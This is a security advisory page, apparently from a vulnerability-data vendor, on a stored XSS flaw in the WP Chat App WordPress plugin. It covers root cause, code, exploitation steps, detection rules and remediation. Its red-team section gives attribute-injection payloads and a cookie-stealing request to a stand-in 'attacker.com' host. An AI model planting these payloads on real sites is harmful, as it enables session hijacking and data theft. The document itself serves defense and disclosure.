CVE-2024-1761
Executive Summary
CVE-2024-1761 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Chat App plugin for WordPress, affecting all versions up to and including 3.6.1. The flaw resides in the plugin's widget/block functionality, where user-supplied attributes such as buttonColor and phoneNumber are not properly sanitized or escaped. This allows authenticated attackers with at least contributor-level permissions to inject arbitrary web scripts. When a user accesses a page containing the malicious block, the injected script executes in their browser, potentially leading to session hijacking, data theft, or further compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The WP Chat App plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files by comparing checksums with the repository. No known supply chain compromise has been reported for this plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level or above)
- User Interaction: None (script executes automatically when page is viewed)
- Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users with low privileges to inject persistent scripts makes this a significant risk for multi-author WordPress sites.
Deep Dive & Mechanics
The vulnerability exists in the WP Chat App plugin's block (Gutenberg) and widget functionality. The plugin registers a custom block that allows site editors to configure chat button appearance and behavior. The buttonColor and phoneNumber attributes are passed directly into the block's render output without proper sanitization or escaping.
Root Cause: The plugin uses esc_attr() inconsistently or not at all for these attributes. In the block's save function (or dynamic render callback), the attribute values are interpolated into HTML attributes or JavaScript contexts without being properly escaped. For example, the buttonColor attribute might be used in a style attribute like style="background-color: {buttonColor}", allowing an attacker to break out of the attribute and inject event handlers or script tags.
Attack Flow:
- An attacker with contributor-level access creates or edits a post/page.
- They add the WP Chat App block and set the
buttonColorattribute to a malicious payload, e.g.,red" onmouseover="alert(1)". - The plugin renders this unsanitized value into the page's HTML.
- When any user (including administrators) views the page, the injected script executes.
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.6.1):
// In the block render callback (simplified)
$button_color = $attributes['buttonColor'];
$phone_number = $attributes['phoneNumber'];
echo '<div class="wp-chat-app-button" style="background-color: ' . $button_color . ';" data-phone="' . $phone_number . '">Chat</div>';
Patched Code (Hypothetical):
// Properly escaped version
$button_color = esc_attr($attributes['buttonColor']);
$phone_number = esc_attr($attributes['phoneNumber']);
echo '<div class="wp-chat-app-button" style="background-color: ' . $button_color . ';" data-phone="' . $phone_number . '">Chat</div>';
The patch would involve using esc_attr() for all user-supplied attributes and potentially using wp_kses() for any HTML content. Additionally, the plugin should validate that buttonColor is a valid CSS color value.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with WP Chat App plugin <= 3.6.1
- Authenticated user with contributor-level permissions or higher
Exploitation Steps:
- Log in as a contributor.
- Create a new post or page.
- Add the WP Chat App block.
- In the block settings, set the
buttonColorattribute to:red" onmouseover="alert(document.cookie) - Set the
phoneNumberattribute to:+1234567890" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie) - Publish the post.
- Any user viewing the post will trigger the XSS payload.
Proof of Concept (JavaScript payload):
// Steal cookies
new Image().src = 'https://attacker.com/steal?c=' + document.cookie;
Blue Team (Detection & Prevention)
Detection:
- Monitor for posts/pages containing the WP Chat App block with suspicious attribute values.
- Look for patterns like
onmouseover,onfocus,javascript:in thebuttonColororphoneNumberfields. - Use Web Application Firewall (WAF) rules to block common XSS payloads in POST requests to
wp-admin/post.php.
Prevention:
- Immediately update the plugin if a patched version becomes available.
- Restrict contributor-level permissions to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use a WordPress security plugin that scans for malicious content.
Indicators of Compromise (IOCs)
File-Based IOCs:
- Modified post/page content containing the WP Chat App block with suspicious attribute values.
- Log entries showing unusual attribute values in
wp-admin/post.phprequests.
Network IOCs:
- Outbound connections to attacker-controlled domains from the WordPress server.
- HTTP requests containing patterns like
onmouseover,onfocus,javascript:in the request body.
Log IOCs:
- WordPress debug log entries showing unescaped attribute values.
- Web server access logs with
POST /wp-admin/post.phpcontaining XSS payloads.
Detection Engineering
YARA Rule
rule wp_chat_app_stored_xss_cve_2024_1761 {
meta:
description = "Detects stored XSS payloads in WP Chat App plugin attributes"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-1761"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$xss1 = /buttonColor["\s]*=>?["\s]*[^"]*["\s]*(onmouseover|onfocus|onclick|onerror|javascript)/
$xss2 = /phoneNumber["\s]*=>?["\s]*[^"]*["\s]*(onmouseover|onfocus|onclick|onerror|javascript)/
$xss3 = /wp-chat-app.*(onmouseover|onfocus|onclick|onerror|javascript)/
condition:
any of them
}
Sigma Rule
title: WP Chat App Stored XSS via Block Attributes
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-1761 by injecting XSS payloads into WP Chat App block attributes
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-1761
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/wp-admin/post.php'
cs-uri-query|contains: 'action=editpost'
sc-status: 200
keywords:
- 'buttonColor'
- 'phoneNumber'
- 'onmouseover'
- 'onfocus'
- 'javascript'
condition: selection and keywords
falsepositives:
- Legitimate use of color names containing 'on' (e.g., 'maroon')
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"WP Chat App Stored XSS Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=editpost"; http_client_body; pcre:"/(buttonColor|phoneNumber)[^&]*(onmouseover|onfocus|onclick|onerror|javascript)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin: If a patched version is released, update immediately. Check the WordPress plugin repository for updates.
- Disable the plugin: If no patch is available, consider disabling the WP Chat App plugin until a fix is released.
- Restrict permissions: Remove contributor-level access from untrusted users. Only grant editor/administrator roles to trusted individuals.
Long-Term Mitigations:
- Implement Web Application Firewall (WAF): Use a WAF to filter out common XSS payloads.
- Content Security Policy (CSP): Deploy CSP headers to restrict script execution.
- Regular Security Audits: Conduct periodic code reviews and vulnerability scans.
- User Education: Train content creators on secure coding practices and the risks of XSS.
Workarounds:
- Use a WordPress security plugin that provides virtual patching for known vulnerabilities.
- Manually audit all posts/pages containing the WP Chat App block for suspicious content.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.